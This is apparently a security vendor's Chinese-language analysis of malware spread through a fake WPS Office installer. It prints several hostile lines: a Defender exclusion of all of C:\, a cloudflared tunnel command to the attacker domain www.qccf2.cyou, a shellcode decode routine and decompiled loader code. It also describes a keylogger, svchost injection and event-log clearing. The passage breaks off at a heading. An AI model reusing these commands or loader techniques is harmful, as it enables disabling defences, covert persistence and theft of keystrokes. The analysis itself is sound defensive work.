隧道藏暗控——Cloudflare 合法工具被黑产用于远程控制
-
作者:火绒安全
-
发布时间:2026-05-25
-
阅读量:1667
一、概述

查杀图
二、传播方式
该恶意样本主要通过伪装成WPS Office官方安装包进行传播,攻击者通常会通过钓鱼邮件、恶意下载站、社交软件等渠道投放带有恶意代码的 WPS 安装程序。样本运行后会先启动正版 WPS 的安装流程,在用户正常安装软件的过程中静默执行恶意操作,极大降低了用户的警惕性。


三、攻击流程

流程图
四、样本分析
一、释放恶意文件与安装WPS白文件
1.wps8bd-x64.exe恶意载荷主体分析
基于 Gentee 虚拟机的恶意软件加载器。它将核心恶意逻辑隐藏在经过加密的 Gentee 字节码中,运行时动态释放执行环境并清理痕迹,以达到长期潜伏和规避检测的目的。分析重点应转向提取并反编译 v8 所指向的 Gentee 字节码

2.vbs脚本添加目录到Defender
VBScript_decoded_fixed.vbs 是一个用于调用 PowerShell 修改 Microsoft Defender 配置的 VBScript 脚本。
该脚本的主要功能是:通过提权方式启动 PowerShell,并执行 Add-MpPreference -ExclusionPath,将指定路径加入 Windows Defender 排除项。
2.1执行脚本添加排除目录
cscript.exe adddf.vbe C:\
2.2提权方式启动 PowerShell
Set shellApp = CreateObject("Shell.Application")
shellApp.ShellExecute "powershell.exe", psArgs, "", "runas", 0
2.3添加 Defender 排除项
PowerShell 最终执行:
Add-MpPreference -ExclusionPath C:\ -ErrorAction Stop
命令会把整个 C:\ 加入 Microsoft Defender 排除项
3. 安装WPS_Setup_17150 与 cloudflared_installer
3.1 业务代码与反编译
下列的代码是由Gentee反编译后的C++代码,还原过程见 附录1 Gentee字节码反编译:
安装业务使用到的函数见 附录2 安装业务与结构:
3.2安装业务入口函数
用宿主 EXE 路径和临时目录初始化上下文
进入两个 payload 的完整业务流程
static bool FullPayloadBusiness(
const std::string& host_exe_path,
const std::string& temp_root)
{
RuntimeContext ctx;
ctx.host_exe_path = host_exe_path;
ctx.temp_root = temp_root;
return RunPayloadBusiness(ctx);
}
3.3安装调度函数
先构造 payload 列表再按名称分别处理:cloudflared_payload,wps_setup_payload
static bool RunPayloadBusiness(RuntimeContext& ctx)
{
BuildPayloadList(ctx);
for (const auto& payload : ctx.payloads)
{
if (payload.name == "cloudflared_payload")
{
if (!RunCloudflaredPayload(payload))
return false;
continue;
}
if (payload.name == "wps_setup_payload")
{
if (!RunWpsSetupPayload(payload))
return false;
continue;
}
}
return true;
}
3.4安装cloudflared.exe 分支
提取 cloudflared_installer.exe 并写入目标路径,完成收尾、设置属性,重新打开校验后执行安装
对应代码
static bool RunCloudflaredPayload(const EmbeddedPayload& payload)
{
if (!ExtractEmbeddedPayload(payload))
return false;
if (!ApplyPayloadAttributes(payload.output_path, payload.final_attributes))
return false;
if (!VerifyDroppedExecutable(payload.output_path))
return false;
return ExecuteDroppedProcess(
payload.output_path,
"\"" + payload.output_path + "\"");
}
3.5安装WPS_Setue.exe
提取WPS_Setup_17150.exe并写入目标路径,完成收尾、设置属性,重新打开校验后执行安装
对应代码
static bool RunWpsSetupPayload(const EmbeddedPayload& payload)
{
if (!ExtractEmbeddedPayload(payload))
return false;
if (!ApplyPayloadAttributes(payload.output_path, payload.final_attributes))
return false;
if (!VerifyDroppedExecutable(payload.output_path))
return false;
return ExecuteDroppedProcess(
payload.output_path,
"\"" + payload.output_path + "\"");
}
二、cloudflared_installer.exe安装器分析
Inno安装文件释放了5个文件
释放路径:%TEMP%\is-XXXX.tmp\
释放文件:cloudflared_installer.tmp、CoreLogic.dll、cf.msi、Guard.dll、Windows.exe、

cloudflared_installer.tmp 执行程序
加载 CoreLogic.dll 并调用 ExecuteSecureInstall 导出函数
cf.msi cloudflared.exe白文件安装程序
msiexec.exe /i "<路径>\cf.msi" /qn /norestart

CoreLogic.dll启动服务和计划任务
启动cloudflared 服务与Windows.exe恶意载荷通过计划任务拉起
Guard.dll持久化失败重新拉起
Windows.exe计划任务拉起失败Guard.dll 循环拉起
2. CoreLogic.dll 启动服务和计划任务
2.1 得到载荷目录

2.2 创建或替换 cloudflared 服务
Cloudflared.exe 白文件签名

System.exe 改名后的cloudflared.exe用于创建隧道映射本地IP 127.0.0.1:443到www.qccf2.cyou
服务启动命令指向:
C:\ProgramData\Microsoft\System\System.exe access tcp --url tcp://127.0.0.1:443 --hostname www.qccf2.cyou

2.3 持久化与恶意载荷启动
重命名Windows.exe 重命名为 WindowsEvent.exe
使用rundll32.exe 调用Guard.dll导出函数TyCV85iu
计划任务启动WindowsEvent.exe恶意载荷

2.4 使用rundll32.exe 调用Guard.dll导出函数TyCV85iu
通过 Task Scheduler COM 接口创建一个计划任务,任务名是 MicrosoftCfServerUpdateTaskMachineCore,执行程序是系统自带的 rundll32.exe,参数是C:\ProgramData\CfServerSoftwareDistribution\Guard.dll,TyCV85iu,也就是让计划任务启动 rundll32.exe 去加载 Guard.dll 并调用导出函数 TyCV85iu。注册成功后,它还会立刻调用 Run() 执行这个任务。使用 COM 创建任务可以避免明显的 schtasks.exe 命令行痕迹任务,借用系统进程rundll32.exe系统程序执行Guard.dll导出函数TyCV85iu隐藏执行行为。
2.4.1.初始化com连接到本地任务计划服务

2.4.2.任务注册到任务计划程序的根目录删除同名旧任务

2.4.3.绕过电源限制取消执行时间上限
即使设备使用电池供电(笔记本不插电),也允许任务启动, 正常很多任务会在此条件下被禁止。
允许任务中的程序无限运行,而不会被系统因超时而强制终止。

2.4.4.得到 IExecAction 接口,设置执行文件和命令行
得到 IExecAction ,这样才能设置命令行。

2.4.5. 设置最高权限运行与交互式令牌登录

2.4.6.执行任务

2.4.7.添加恶意载荷WindowsEvent.exe到计划任务
调用AddWinEventTask(task_name, WindowsWindowsEvent.exe);函数他和前面的
C:\\ProgramData\\CfServerSoftwareDistribution\\ WindowsEvent.exe
InstallOrReplaceServiceAndStart函数是一样的只是多出了登录触发器
创建一个登录触发器 TASK_TRIGGER_LOGON, 以后用户登录 Windows 时,该任务会被自动触发

对应XML

2.5 Guard.dll, TyCV85iu 持久化分析
创建Global\TaskMonitor_Mutex 检测当前Guard.dll是否已存在

创建Global\WindowsEvent_WindowsEvent循环检测Global\WindowsEvent_WindowsEvent互斥是否存在,不存在则重新启动计划任务
使用schtasks.exe重新拉起任务MicrosoftCfServerUpdateTaskMachineCore

任务计划失败和互斥体不存在行为写入日志
分别写入下列文本:
// 目标进程(通过互斥体)未运行,尝试通过计划任务启动
// 计划任务启动失败,执行系统重启
格式:日志文本 [时间戳] 写入到日志文件C:\Windows\Temp\Runtime.log

三、WindowsEvent.exe通用PE加载分析
1.WindowsEvent.exe 解码 stage2_shellcode 流程
WindowsEvent.exe 这个样本的业务不是从资源段或文件尾部直接提取 shellcode,而是从自身 PE 文件里的多个专用节中取出分片数据,重新拼接成一段连续缓冲区,再对这段缓冲区逐字节执行解码运算,最终还原出完整的 stage2_shellcode。整个过程是固定结构的自解码流程,本质上属于“把第二阶段载荷拆散存放在多个节里,运行时再重组和解码”的壳式加载逻辑。
WindowsEvent.exe节区图:
![]()
WindowsEvent.exe 解码 stage2_shellcode 的完整流程是固定且封闭的。它先定位自身 PE 文件中的 .sc1、.sc2、.tc3、.tc4 四个数据节,再按写死的长度从这四个节中取出有效分片,申请一块总长度为 0x182E6 的缓冲区,把四段数据按顺序拼接进去;拼接完成后,再对整块缓冲区逐字节执行 ((byte + 0x77) & 0xFF) ^ 0x62 的变换,最终得到完整的 stage2_shellcode。因此这个样本的第二阶段载荷解析方式,本质上就是一个“节分片重组 + 逐字节解码”的自解码加载过程。
第一步 :定位 shellcode 分片
程序先从自身映像中定位承载第二阶段数据的几个节。这个样本里用于存放 stage2_shellcode 分片的不是常规 .rsrc 或 overlay,而是四个专门命名的数据节:.sc1、.sc2、.tc3、.tc4。这四个节在文件中的原始偏移分别是 0x1400、0x7600、0xD800 和 0x13A00,它们就是后续重组 stage2_shellcode 的原始来源。
第二步 :确定每段有效长度
程序并不会把这四个节的整个 RawSize 原样拿来使用,而是只取每个节前部的固定长度有效数据。前 3 段的有效长度都是 0x60B9,最后 1 段的有效长度是 0x60BB。也就是说,参与最终重组的长度配置是:
.sc1 -> 0x60B9
.sc2 -> 0x60B9
.tc3 -> 0x60B9
.tc4 -> 0x60BB
这个长度不是动态搜索出来的,而是直接固化在样本代码中的,因此样本在运行时是按固定片段长度去读这四段数据。
对应代码可以概括为:
size1 = 0x60B9;
size2 = 0x60B9;
size3 = 0x60B9;
size4 = 0x60BB;
第三步 :计算 stage2_shellcode 总长度
程序把四段有效数据长度相加,得到最终的 stage2_shellcode 缓冲区总长度:
0x60B9 + 0x60B9 + 0x60B9 + 0x60BB = 0x182E6
因此它会先为 stage2_shellcode 申请一块总长度为 0x182E6 字节的目标缓冲区,用来接收后续拼接和解码后的第二阶段载荷。
对应代码逻辑可以概括为:
total_size = 0x60B9 + 0x60B9 + 0x60B9 + 0x60BB; // 0x182E6
buf = VirtualAlloc(0, total_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
第四步 :按固定顺序拼接分片
样本里的拼接函数会按固定顺序把四个节中的有效数据拷贝到目标缓冲区中。它先把 .sc1 的 0x60B9 字节复制到缓冲区起始位置,再把 .sc2 的 0x60B9 字节复制到 buf + 0x60B9,随后把 .tc3 的 0x60B9 字节复制到 buf + 0xC172,最后把 .tc4 的 0x60BB 字节复制到 buf + 0x1222B。拼接后的布局可以表示为:
buf + 0x00000 <- .sc1[0x60B9]
buf + 0x060B9 <- .sc2[0x60B9]
buf + 0x0C172 <- .tc3[0x60B9]
buf + 0x1222B <- .tc4[0x60BB]
到这一步时,程序已经得到一块完整连续的“编码态 stage2 数据”,但这还不是最终 shellcode,只是待解码的原始拼接结果。
memcpy(buf + 0x00000, file + 0x1400, 0x60B9);
memcpy(buf + 0x060B9, file + 0x7600, 0x60B9);
memcpy(buf + 0x0C172, file + 0xD800, 0x60B9);
memcpy(buf + 0x1222B, file + 0x13A00, 0x60BB);
第五步 :逐字节解码
拼接完成后,程序会对整块缓冲区执行统一的逐字节解码。它从缓冲区第 1 个字节开始一直处理到最后 1 个字节,对每个字节执行同样的运算:先加上 0x77,再与 0x62 做异或,最后把结果写回原位置。解码逻辑可以表示成:
decoded[i] = ((encoded[i] + 0x77) & 0xFF) ^ 0x62;
这说明样本对第二阶段数据使用的不是复杂加密算法,而是一层轻量级的逐字节自定义编码。真正的 stage2_shellcode 就是在这一轮解码之后才被还原出来。
对应代码可以写成:
for (i = 0; i < total_size; ++i)
{
buf[i] = ((buf[i] + 0x77) & 0xFF) ^ 0x62;
}
第六步 :得到完整 stage2_shellcode
当整块 0x182E6 字节缓冲区全部完成逐字节变换以后,缓冲区中的内容就从“分片拼接后的编码态数据”变成了“可供后续加载或执行的第二阶段 shellcode”。也就是说,程序最终得到的 stage2_shellcode 不是通过资源释放、文件解压或尾部提取得来的,而是由“4 个节分片 + 固定顺序拼接 + 固定逐字节解码”这一条链完整还原出来的。
最终整体逻辑可以压成下面这段代码:
buf = alloc(0x182E6);
memcpy(buf + 0x00000, sec_sc1, 0x60B9);
memcpy(buf + 0x060B9, sec_sc2, 0x60B9);
memcpy(buf + 0x0C172, sec_tc3, 0x60B9);
memcpy(buf + 0x1222B, sec_tc4, 0x60BB);
for (i = 0; i < 0x182E6; ++i)
buf[i] = ((buf[i] + 0x77) & 0xFF) ^ 0x62;
stage2_shellcode = buf;
2.stage2_shellcode分析
2.1 架构分流实现x64和x86的版本兼容
这里恶意软件作者使用汇编前缀的特性实现了x64和x86的版本兼容。
相同的机器码59 31 C0 48 0F 88 B5 34 00 00
X86下:

X64下:

0x48 在x86下解析为 dec eax
0x48 在X64 下则解析为js前缀rel32:跳转目标以 32 位相对偏移量 编码。
在 x64 模式下,xor eax, eax 使得 SF=0,而 48 被“吞”为前缀,不再作为 dec 执行,SF 保持 0,js 条件不成立,程序继续向下执行 x64 分支的代码
2.2 加载payLoad
2.2.1执行加载器
创建新线程执行 loader payload和劫持当前线程执行loader payload。
这表明这个shellcode可以用于注入到对应的程序劫持线程启动也可以创建线程启动还能直接在当前进程运行,当前shellcode是一个通用行的Load加载器适配多种场景。
劫持线程:
得到当前线程上下文后修改他的上下文eip到loader_thread_proc_x86然后使用NtContinue 切换上下文。

不创建新线程执行 loader_payload

2.2.2 Loader_thread_proc_86分析
一个x86_stage2 通用loader主调度器。它负责动态解析 API、加载依赖模块、准备/解码 payload descriptor,并根据 payload_type 选择不同执行路径。payload_type 3/4 会进入 map_pe_payload_x86 做内存 PE 加载;payload_type 1/2 和 5/6 则进入其他自定义 runner。执行完成后,它会清零并释放 descriptor 和 stage 内存,减少内存残留。
当前程序执行的PE类型的加载payload_type 4:
代码:
int __cdecl loader_thread_proc_x86(stage2_api_ctx_x86 *input_stage)
{
pVirtualAlloc = resolve_api_by_hash_x86(
input_stage,
input_stage->api_hashes[2].lo,
input_stage->api_hashes[2].hi,
input_stage->module_hash_lo,
input_stage->module_hash_hi);// 解析VirtualAlloc。
pVirtualAlloc_saved = pVirtualAlloc;
pVirtualFree_raw = resolve_api_by_hash_x86(
input_stage,
input_stage->api_hashes[3].lo,
input_stage->api_hashes[3].hi,
input_stage->module_hash_lo,
input_stage->module_hash_hi);// 解析VirtualFree。
pVirtualFree_saved = pVirtualFree_raw;
pExitThread_raw = resolve_api_by_hash_x86(
input_stage,
input_stage->exit_thread_hash_lo,
input_stage->exit_thread_hash_hi,
input_stage->module_hash_lo,
input_stage->module_hash_hi);// 解析ExitThread。
pExitThread = pExitThread_raw;
pExitThread_saved = pExitThread_raw;
if ( !pVirtualAlloc || !pVirtualFree_raw || !pExitThread_raw )
return -1;
work_stage_alloc = pVirtualAlloc(0, input_stage->total_size, 0x3000u, 4u);// 申请stage工作内存。
work_stage = work_stage_alloc;
if ( !work_stage_alloc )
{
if ( input_stage->run_mode == 2 )
pExitThread(0);
return -1;
}
memcpy_local_x86(work_stage_alloc, input_stage, input_stage->total_size);// 复制原始stage到新内存。
memset_local_x86(&type12_ctx, 0, 0x20u);
module_hash_pair = &work_stage->module_hash_lo;
if ( work_stage->normalize_required != 3
|| (normalize_stage_header_x86(
work_stage->header_norm_src,
work_stage->header_norm_dst,
&work_stage->api_count,
work_stage->total_size - 572),
hash_name_x86(&work_stage->unk_924[776], module_hash_pair->lo, work_stage->module_hash_hi) == work_stage->expected_name_hash_lo)
&& v10 == work_stage->expected_name_hash_hi )
{
v11 = resolve_api_by_hash_x86(
work_stage,
work_stage->primary_api_value,
work_stage->api_slot_base,
module_hash_pair->lo,
work_stage->module_hash_hi); // 解析关键API/回填地址。
work_stage->primary_api_value = v11;
if ( !v11 )
return -1;
module_list_cursor = work_stage->module_list;// 遍历模块名列表。
while ( 1 )
{
v13 = *module_list_cursor;
module_name_len = 0;
if ( !*module_list_cursor )
break;
module_scan = module_list_cursor;
do
{
if ( v13 == 59 )
break;
if ( module_name_len >= 0x104 )
break;
module_scan[module_name_buf - module_list_cursor] = v13;
++module_name_len;
v13 = *++module_scan;
}
while ( *module_scan );
if ( !module_name_len )
break;
module_name_buf[module_name_len] = 0;
module_list_cursor += module_name_len + 1;
get_module_handle_or_load_x86(work_stage, module_name_buf);// 按名取模块句柄/加载模块。
}
api_index = 1;
if ( work_stage->api_count > 1 )
{
api_hash_cursor = work_stage->api_hashes;
api_output_slot = &work_stage->api_slot_base;
do
{
resolved_api = resolve_api_by_hash_x86(
work_stage,
api_hash_cursor->lo,
api_hash_cursor->hi,
module_hash_pair->lo,
work_stage->module_hash_hi);// 批量解析后续API。
*api_output_slot = resolved_api;
if ( !resolved_api
&& (api_hash_cursor->lo != work_stage->optional_api_hash_lo
|| api_hash_cursor->hi != work_stage->optional_api_hash_hi) )
{
goto LABEL_58;
}
++api_index;
++api_hash_cursor;
++api_output_slot;
}
while ( api_index < work_stage->api_count );
}
desc_source_kind = work_stage->payload_desc_source;// 选择payload描述符来源。
if ( desc_source_kind == 2 )
{
if ( !prepare_external_descriptor_x86(work_stage) )
goto LABEL_58;
payload_desc = work_stage->external_desc;
}
else
{
if ( desc_source_kind == 3 )
goto LABEL_58;
payload_desc = &work_stage->external_desc;
if ( desc_source_kind != 1 )
payload_desc = pVirtualAlloc_saved;
}
if ( work_stage->precheck_policy == 1
|| (precheck_stage_option_a_x86(work_stage) || work_stage->precheck_policy != 2)
&& (precheck_stage_option_b_x86(work_stage) || work_stage->precheck_policy != 2) )// 预处理分支B。
{
if ( payload_desc->storage_or_transform_type == 1 )
goto LABEL_45;
copied_desc = pVirtualAlloc_saved(0, (payload_desc->payload_data_size + 0x152F) & 4294963200, 0x3000u, 4u);// 为payload描述符再分配内存。
copied_desc_tmp = copied_desc;
if ( copied_desc )
{
memcpy_local_x86(copied_desc, payload_desc, 0x530);// 复制描述符头。
if ( payload_desc->storage_or_transform_type != 3 && payload_desc->storage_or_transform_type != 4 )
{
if ( payload_desc->storage_or_transform_type != 2 )
goto LABEL_45;
copy_payload_tail_x86(payload_desc->pe_image_data, copied_desc_tmp->pe_image_data);
LABEL_44:
payload_desc = copied_desc_tmp;
LABEL_45:
switch ( payload_desc->payload_type )
{ // payload类型分派点。
case 3u:
case 4u:
map_pe_payload_x86(work_stage, work_stage, payload_desc);// 类型3/4:进入PE映射器,内部再区分type3和type4。
break;
case 1u:
case 2u:
if ( prepare_type12_payload_x86(work_stage, payload_desc, &type12_ctx) )
run_type12_payload_x86(work_stage, payload_desc, &type12_ctx);// 类型1/2执行。
cleanup_type12_payload_x86(work_stage, &type12_ctx);// 类型1/2清理。
break; // 类型1/2准备。
case 5u:
case 6u:
run_type56_payload_x86(work_stage, payload_desc);// 类型5/6分支。
break;
}
if ( work_stage->run_mode == 3 )
{
while ( 1 )
}
goto LABEL_58;
}
if ( !(work_stage->fp_transform_payload)(
(LOWORD(payload_desc->storage_or_transform_type) - 1) | 0x100,
copied_desc_tmp->pe_image_data,
payload_desc->payload_data_size,
payload_desc->pe_image_data,
payload_desc->payload_data_rva,
transform_scratch) )
goto LABEL_44;
}
}
LABEL_58:
pExitThread = pExitThread_saved;
}
cleanup_desc_source = work_stage->payload_desc_source;
if ( (cleanup_desc_source == 2 || cleanup_desc_source == 3) && (external_desc_ptr = work_stage->external_desc) != 0 )
{
memset_local_x86(external_desc_ptr, 0, work_stage->external_desc_size);// 释放外部描述符缓冲区。
pVirtualFree = pVirtualFree_saved;
pVirtualFree_saved(work_stage->external_desc, 0, 49152u);
work_stage->external_desc = 0;
}
else
{
pVirtualFree = pVirtualFree_saved;
}
saved_run_mode = work_stage->run_mode;
memset_local_x86(work_stage, 0, work_stage->total_size);// 清零stage后释放内存。
pVirtualFree(work_stage, 0, 49152u);
if ( saved_run_mode == 2 )
pExitThread(0); // 需要时退出当前线程。
return 0;
}
2.2.3 PE加载器:
这个样本实际执行的是 type 4 路径:loader 先把 PE payload 手动映射到内存中,完成重定位、导入表、节权限和 TLS 初始化,然后根据 entry_symbol_name 找到指定导出入口。
得到映像:
![]()

复制节:

处理导入导出

TLS处理

先解析 entry_symbol_name 对应的导出函数,调用入口点:
AddressOfEntryPoint = nt_headers->OptionalHeader.AddressOfEntryPoint;

3.网络下载器分析
3.1加载新PE
得到的PE文件还是一个加载器
读取自身3EC05BF是一个PE文件再使用ReflectiveLoadEmbeddedPE映射到内存

3.2 新加载PE下载器分析
3.2.1初始化sock

3.2.2不同情况连接不同的IP
当前连接的是127.0.0.1:443 因为前面使用服务启动了cloudflared.exe进行了映射
C:\ProgramData\Microsoft\System\System.exe access tcp --url tcp://127.0.0.1:443 --hostname www.qccf2.cyou

3.2.3 start启动sock使用SetManager绑定处理程序HandlePatchPacket到sock

3.2.4 TcpContext->Start创建tcp sockt接收数据
创建 TCP socket,连接指定 host:port,生成后续协议使用的 frame_tag,设置发送/接收缓冲区、超时和 keepalive,然后启动接收分发线程和辅助线程,进入长期通信状态。


3.2.5接收数据分析到处理列程
CTcpSocket__FeedRecvChunkAndDispatch是TCP 通信层的核心接收函数。它把底层 recv() 得到的字节流缓存到 recv_frame_q,按照 [DWORD 总长度][10 字节 frame_tag][payload] 的格式重组完整协议帧,校验会话标识 frame_tag,确认数据完整后取出 payload,用 frame_tag 做 XOR 解混淆,再把解码后的业务数据放入 dispatch_q,最后调用 Manager->OnPacket() 交给上层命令处理逻辑。它同时处理 TCP 半包和粘包;
如果帧头校验失败,则认为数据流失步,直接清空接收缓存



3.2.6 HandlePatchPacket下载后门启动
网络下载PayLoad数据写入到服务Console\0\d33f351a4aeea5e608853d1a56661059
然后启动对应payLoad 这个Pay是一个PE文件即为第四节中功能完备的最终后门模块

四、网络下载后门分析
4.1业务分析
保活,键盘hook,远控模块,反分析模块, 设置进程为Critical Process进程被结束蓝屏

![]()

![]()
4.2使用EnumWindows 检测对应窗口查找到停止socks


4.3注入自己到svchost.exe系统进程实现持久化
循环查找当前id是否存在不存在就调用InjectAndRunGuardPayload远程启动

InjectAndRunGuardPayload
是一个远程注入和守护线程启动函数:它创建 svchost.exe,把 RemoteWatchdogThread 代码和参数结构写入该进程,先设置为不可访问并挂起线程,等待 60 秒后恢复 RWX 权限并启动远程线程。该远程线程很可能用于监控当前进程、等待退出后重启样本,属于典型的守护/反终止/持久化辅助逻辑
![]()


4.4设置进程为Critical Process进程被结束蓝屏

5.键盘记录写入日志
5.1 StartInputMonitorGate :输入监控入口
控制整个键盘监控链是否启动,并负责把环境准备好后交给主记录循环。它先创建全局互斥体防止输入监控线程重复运行,如果发现同名互斥体已存在就持续等待;随后它轮询 HKCU\key\open 开关,或者等待全局强制启动标志被置位,只有条件满足后才继续取当前模块句柄和控制台窗口句柄,调用 InitDirectInputKeylogger 初始化 DirectInput 键盘采集环境,最后进入 RunKeyloggerLoop 持续记录按键、剪贴板和前台窗口变化,因此这个函数本质上就是样本键盘监控功能的总闸门。

InitDirectInputKeylogger :初始化DirectInput键盘记录环境
把键盘记录所需的全局状态、日志文件和 DirectInput 键盘设备一次性准备好。它先在 ProgramData 下拼出 DisplaySessionContainers.log 的完整路径并创建日志互斥体,再检查日志文件大小,超过阈值就删除旧日志重新开始;随后调用 DirectInput8Create 创建全局 direct_input 对象,再创建系统键盘设备、设置键盘数据格式、绑定目标窗口并把缓冲事件数量设成 60 条,最后执行 Acquire 开始采集,并顺手初始化剪贴板轮询时间和 CapsLock 状态,因此这个函数本质上就是样本键盘记录链的底层环境初始化器。

RunKeyloggerLoop :键盘记录主循环
持续采集剪贴板、前台窗口和键盘事件,并把结果格式化后追加到日志文件里。它先分配一块临时宽字符缓冲区作为当前这一轮待落盘的按键文本,再以极短间隔循环执行三件事:
第一,约每 1.5 秒轮询一次剪贴板,如果剪贴板文本发生变化就把新内容包装成日志行并写入日志;
第二,调用 LogForegroundWindowChange 检测前台窗口是否切换,若窗口变化就把窗口标题和时间戳写入日志;
第三,从 keyboard_device 的 DirectInput 缓冲区中一次取最多 60 条 DIDEVICEOBJECTDATA_X86 键盘事件,用内置键表把 dwOfs 对应的按键映射成普通、Shift 或 CapsLock 文本,拼接到当前待写日志行里。等这一轮事件处理完后,如果待写缓冲区非空,它就通过日志互斥体加锁,把整段文本追加写入 DisplaySessionContainers.log,然后清空缓冲区进入下一轮,因此这个函数本质上就是样本同时监控键盘、窗口和剪贴板的核心记录循环。



![]()

6.远控模块
DispatchCommandPacket分析
DispatchCommandPacket :命令总分发
按控制包首字节命令号把上层业务分发到不同处理分支里。它负责把控制端下发的插件探测、插件接收、截图、落盘执行、配置更新、日志清理、自删除、电源控制和登录确认等命令解析后交给对应子函数处理,并在需要时通过 SendFrameC2 把状态、确认字节或图像数据回发给控制端,因此它本质上就是样本通信层之上的核心业务分发入口。
case 0 :插件缓存探测
检查控制端要求的插件是否已经在本地缓存且版本一致。它先从控制包中取出插件描述块,再按模块名和指纹在全局插件缓存里查找同名插件;如果本地没有该插件,或者同名但指纹不同,就删除旧缓存并回发请求包通知控制端重新下发完整插件;如果模块名和指纹都一致,就直接复用已有的 PluginLaunchContext 并启动 PluginLaunchWorker 执行,因此这个分支本质上是插件缓存命中和版本协商逻辑。

case 1 :接收插件执行
收完整插件并立刻落地到内存缓存、注册表缓存和执行线程里。它先从控制包里拆出插件描述块和 payload,再把当前连接参数一起封装成 PluginLaunchContext 压入全局插件缓存;接着把“描述块 + 上下文 + payload”拼成一整块数据写入 HKCU\\Console\\0,作为后续可恢复的持久化插件缓存;最后起 PluginLaunchWorker 线程,真正去执行这个下发的插件。

PluginLaunchWorker :插件执行调度
根据上下文中的 plugin_mode 决定插件走哪条执行链。它先从 PluginLaunchContext 中取出插件描述块、payload 和当前连接参数;当 plugin_mode == 0 时,它会把 payload 当成内存 PE/DLL,先反射装载到当前进程,再解析导出函数 Main,把当前 C2 连接参数传给 Main 执行,执行完后释放装载上下文;当 plugin_mode == 1 时,它会先在 payload 中搜索 onlyloadinmyself 和 plugmark 标记,把当前 host/port/transport_mode 写入指定位置后,再把整块 payload 注入到挂起的 svchost.exe 中执行,因此这个函数本质上就是“根据模式决定插件走内存反射加载执行,还是走远程注入执行”的核心业务函数。


SendStatusTextPacket :回传文本状态
向控制端发送固定格式的文本状态包。它会申请 512 字节缓冲区,把首字节写成 1,再根据模式选择系统错误文本、直接字符串或两段字符串拼接结果作为消息正文,最后通过 socket 发送接口回发给控制端,因此这个函数本质上是样本内部统一的文本状态回传器。

case 2 :进入SOCKS/代理链
把当前管理对象直接交给独立的 SOCKS/代理功能处理链。这个分支本身不展开复杂业务,而是调用 socksotp(this) 把控制流切到另一条网络代理逻辑,因此这个分支本质上是样本代理能力的入口。

case 3 :桌面状态回传
按控制端要求回传桌面状态或桌面图像。它会复用 SendDesktopSnapshotReply 这条公共路径,根据 packet_buf[1] 决定只发桌面状态头,还是把“桌面状态头 + 截图数据”一起返回,因此这个分支本质上是桌面快照回传命令入口。

SendDesktopSnapshotReply :回传桌面状态和图像
把当前桌面状态头以及可选截图统一打包回发给控制端。它会先构造 1060 字节桌面状态头,再调用截图函数抓取并编码当前桌面,在需要时把图像宽高和图像数据拼接到状态头后面统一发送,因此这个函数本质上是桌面状态和图像的一体化回传函数。

case 4 :直接截图回传
抓取当前桌面并把截图编码后直接发回控制端。它先调用 CaptureDesktopToEncodedBmpBuffer 获取编码后的图像缓冲区,再构造一个首字节为 opcode 3 的回包,把图像数据拼在后面通过 SendFrameC2 发回;如果截图失败则只记录状态而不发图,因此这个分支本质上是标准截图回传逻辑。

CaptureDesktopToEncodedBmpBuffer :抓图并编码桌面
抓取当前桌面画面并把图像编码成可直接传输的内存缓冲区。它会负责完成屏幕采集、图像编码以及宽高信息输出,调用方再根据返回的缓冲区长度决定是直接发图,还是把图像拼进更大的业务回包,因此这个函数本质上是样本截图链的核心图像生成函数。


case 5 :落盘执行
把控制端附带的文件内容写到当前样本目录下并立即执行。它先从控制包头里取出落地相对路径和命令行参数,把 payload 落成实际文件,再根据文件扩展名到注册表里查询 shell\\open\\command,按系统默认文件关联方式拼出最终命令并启动,因此这个分支本质上是一个通用的文件下发与执行器。

case 6 :异步路径启动
根据控制端给出的路径条件性地异步启动目标程序。它把 packet_buf + 1 当成宽字符串路径交给 LaunchDroppedPathIfMissing,由后者检查目标路径和文件状态,只有在检查通过且文件不存在时才创建新进程执行,因此这个分支本质上是一个带条件判断的异步启动器。
LaunchDroppedPathIfMissing :条件性启动目标路径
检查传入路径是否满足条件,并在目标文件不存在时尝试启动。它会先复制路径、拆出最终目标文件,再结合路径检查和文件存在性结果决定是否创建新进程,因此这个函数本质上是样本的条件触发式异步路径启动器。

case 7 :更新GROUP/REMARK
把控制端下发的分组名或备注值写进本地配置。它根据 packet_buf[1] 选择更新 GROUP 或 REMARK,再把宽字符串内容编码成十六进制注册表二进制数据,并通过 reg add 命令写入 HKCU\\SOFTWARE\\QuickNetwork,因此这个分支本质上是样本本地配置项的远程更新逻辑。

WriteQuickNetworkBinaryValueViaRegAdd:
写QuickNetwork配置值
把传入的宽字符串值编码成十六进制 REG_BINARY 数据,再通过 cmd /c reg add 写入 HKCU\\SOFTWARE\\QuickNetwork 指定值名。样本用它远程更新 GROUP 和 REMARK 两个配置项,因此这个函数本质上是样本的 QuickNetwork 配置落地器。

case 8 :检查进程存在
检查控制端指定的进程名当前是否正在系统中运行。它会遍历系统进程快照,把每个 szExeFile 与目标进程名比较,若命中则向控制端回发一个 1 字节 opcode 2 的确认包,因此这个分支本质上是进程存在性探测命令。
CheckProcessExistsAndAck :检查进程并回确认
遍历系统进程列表查找目标进程名,命中后立刻向控制端回发确认包。它通过进程快照枚举每个 szExeFile 并做字符串比较,只有找到目标进程时才发送 1 字节应答,因此这个函数本质上是样本的进程存在性回执器。

case 9 :固定确认回包
向控制端回发一个固定内容的 1 字节确认包。它直接构造数值为 20 的状态字节并通过 SendFrameC2 发送,因此这个分支本质上是协议中的轻量级确认响应。

case 10 :参数化截图回传
按控制端给出的附加参数执行一次截图并回传。它先从控制包中取出额外参数传给 CaptureDesktopToEncodedBmpBuffer,再把结果封装成“1 字节 opcode 20 + 4 字节图像长度 + 图像数据”的格式发回控制端,因此这个分支本质上是带参数控制的截图回传逻辑。

case 11 :清理事件日志
依次清空 Application、Security 和 System 三类 Windows 事件日志。它通过 OpenEventLogW 打开日志,再调用 ClearEventLogW 清空内容并关闭句柄,因此这个分支本质上是标准的系统日志清痕逻辑。

case 12 :自重启并继续退出链
先重新拉起一个新的自身实例,再继续进入后续退出和自删除流程。它调用的 WriteCrashMiniDumpFilter 实际会取出当前样本路径和命令行,重新 CreateProcessW 启动一个新的自身进程,然后退出当前实例;由于这个分支没有 break,后面还会继续落入 case 13,因此它本质上是在自删除前补拉起一个新的样本副本。

case 13 :提权自删除退出
